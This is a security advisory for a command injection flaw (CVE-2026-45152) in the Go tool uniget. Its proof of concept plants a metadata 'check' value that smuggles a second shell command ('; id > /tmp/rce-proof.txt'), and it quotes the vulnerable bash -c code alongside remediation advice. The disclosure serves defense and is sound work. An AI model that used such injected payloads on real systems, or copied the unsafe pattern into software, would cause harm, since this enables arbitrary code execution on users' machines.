GHSA-QQQ4-5773-PMW5

Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-05-13 15:33
VLAI
Summary
uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution
Details

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.

Summary

A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.

This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.

Details

The vulnerable code is located in:

tool.go:250

Vulnerable function:

```go id="f2g0ic" func (tool *Tool) RunVersionCheck() (string, error) { cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") version, err := cmd.Output() return string(version), nil }


The issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.

Related structure:

```go id="7f4yzm"
type Tool struct {
    Check string
}

Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.

Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.

PoC

Step 1 — Verify the vulnerable binary:

```bash id="7k3d07" /tmp/uniget-bin --version


Output:

```text id="p2gk9z"
uniget version main

Step 2 — Create malicious metadata cache:

```bash id="j5zpr0" mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF' { "tools": [ { "name": "evil-tool", "version": "1.0.0", "binary": "${target}/bin/evil-tool", "check": "echo '1.0.0'; id > /tmp/rce-proof.txt", "tags": ["test"], "description": "RCE test", "repository": "https://example.com", "license": { "name": "MIT", "link": "https://example.com" }, "sources": [ { "registry": "ghcr.io", "repository": "uniget-org/tools" } ] } ] } EOF


Step 3 — Create placeholder binary:

```bash id="53ml7u"
mkdir -p ~/.local/usr/local/bin

cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF

chmod +x ~/.local/usr/local/bin/evil-tool

Step 4 — Trigger the vulnerable workflow:

```bash id="w4j7h4" /tmp/uniget-bin describe evil-tool --prefix ~/.local


Application output:

```text id="q0k54m"
Name: evil-tool
  Description: RCE test
  Repository: https://example.com
  Version: 1.0.0
  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>

Step 5 — Verify arbitrary command execution:

```bash id="w7r8z3" ls -la /tmp/rce-proof.txt cat /tmp/rce-proof.txt


Actual output:

```bash id="6plm7v"
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt

uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)

image

image

This confirms arbitrary command execution through the untrusted check field loaded from metadata.

Impact

This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.

An attacker may be able to:

  • Execute arbitrary shell commands
  • Exfiltrate sensitive files or environment variables
  • Install malware or backdoors
  • Modify or delete accessible files
  • Establish persistence on the victim machine
  • Compromise CI/CD environments using uniget automation

Any user importing or processing attacker-controlled metadata may be impacted.

Suggested Remediation

Avoid using /bin/bash -c with untrusted input.

Instead of:

```go id="ntxjlwm" exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")


consider executing fixed binaries and arguments directly without invoking a shell.

For example:

```go id="ngbkk2"
exec.Command(binary, "--version")

or sanitize and strictly validate allowed commands before execution.

Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gitlab.com/uniget-org/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.27.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T15:33:10Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.\n\n### Summary\n\nA command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim\u2019s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed.\n\nThis vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.\n\n### Details\n\nThe vulnerable code is located in:\n\n`tool.go:250`\n\nVulnerable function:\n\n```go id=\"f2g0ic\"\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n    cmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d \u0027\\n\u0027\")\n    version, err := cmd.Output()\n    return string(version), nil\n}\n```\n\nThe issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.\n\nRelated structure:\n\n```go id=\"7f4yzm\"\ntype Tool struct {\n    Check string\n}\n```\n\nMetadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.\n\nBecause `/bin/bash -c` is used, shell metacharacters such as `;`, `\u0026\u0026`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection.\n\n### PoC\n\nStep 1 \u2014 Verify the vulnerable binary:\n\n```bash id=\"7k3d07\"\n/tmp/uniget-bin --version\n```\n\nOutput:\n\n```text id=\"p2gk9z\"\nuniget version main\n```\n\nStep 2 \u2014 Create malicious metadata cache:\n\n```bash id=\"j5zpr0\"\nmkdir -p ~/.local/var/cache/uniget\n\ncat \u003e ~/.local/var/cache/uniget/metadata.json \u003c\u003c \u0027EOF\u0027\n{\n  \"tools\": [\n    {\n      \"name\": \"evil-tool\",\n      \"version\": \"1.0.0\",\n      \"binary\": \"${target}/bin/evil-tool\",\n      \"check\": \"echo \u00271.0.0\u0027; id \u003e /tmp/rce-proof.txt\",\n      \"tags\": [\"test\"],\n      \"description\": \"RCE test\",\n      \"repository\": \"https://example.com\",\n      \"license\": {\n        \"name\": \"MIT\",\n        \"link\": \"https://example.com\"\n      },\n      \"sources\": [\n        {\n          \"registry\": \"ghcr.io\",\n          \"repository\": \"uniget-org/tools\"\n        }\n      ]\n    }\n  ]\n}\nEOF\n```\n\nStep 3 \u2014 Create placeholder binary:\n\n```bash id=\"53ml7u\"\nmkdir -p ~/.local/usr/local/bin\n\ncat \u003e ~/.local/usr/local/bin/evil-tool \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"placeholder\"\nEOF\n\nchmod +x ~/.local/usr/local/bin/evil-tool\n```\n\nStep 4 \u2014 Trigger the vulnerable workflow:\n\n```bash id=\"w4j7h4\"\n/tmp/uniget-bin describe evil-tool --prefix ~/.local\n```\n\nApplication output:\n\n```text id=\"q0k54m\"\nName: evil-tool\n  Description: RCE test\n  Repository: https://example.com\n  Version: 1.0.0\n  Check: \u003cecho \u00271.0.0\u0027; id \u003e /tmp/rce-proof.txt\u003e\n```\n\nStep 5 \u2014 Verify arbitrary command execution:\n\n```bash id=\"w7r8z3\"\nls -la /tmp/rce-proof.txt\ncat /tmp/rce-proof.txt\n```\n\nActual output:\n\n```bash id=\"6plm7v\"\n-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt\n\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)\n```\n\n\u003cimg width=\"1107\" height=\"694\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7\" /\u003e\n\n\u003cimg width=\"1909\" height=\"631\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e\" /\u003e\n\n\nThis confirms arbitrary command execution through the untrusted `check` field loaded from metadata.\n\n### Impact\n\nThis issue allows arbitrary command execution on systems running uniget when processing malicious metadata.\n\nAn attacker may be able to:\n\n* Execute arbitrary shell commands\n* Exfiltrate sensitive files or environment variables\n* Install malware or backdoors\n* Modify or delete accessible files\n* Establish persistence on the victim machine\n* Compromise CI/CD environments using uniget automation\n\nAny user importing or processing attacker-controlled metadata may be impacted.\n\n### Suggested Remediation\n\nAvoid using `/bin/bash -c` with untrusted input.\n\nInstead of:\n\n```go id=\"ntxjlwm\"\nexec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d \u0027\\n\u0027\")\n```\n\nconsider executing fixed binaries and arguments directly without invoking a shell.\n\nFor example:\n\n```go id=\"ngbkk2\"\nexec.Command(binary, \"--version\")\n```\n\nor sanitize and strictly validate allowed commands before execution.\n\nThank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.",
  "id": "GHSA-qqq4-5773-pmw5",
  "modified": "2026-05-13T15:33:10Z",
  "published": "2026-05-13T15:33:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uniget-org/cli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uniget-org/cli/releases/tag/v0.27.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…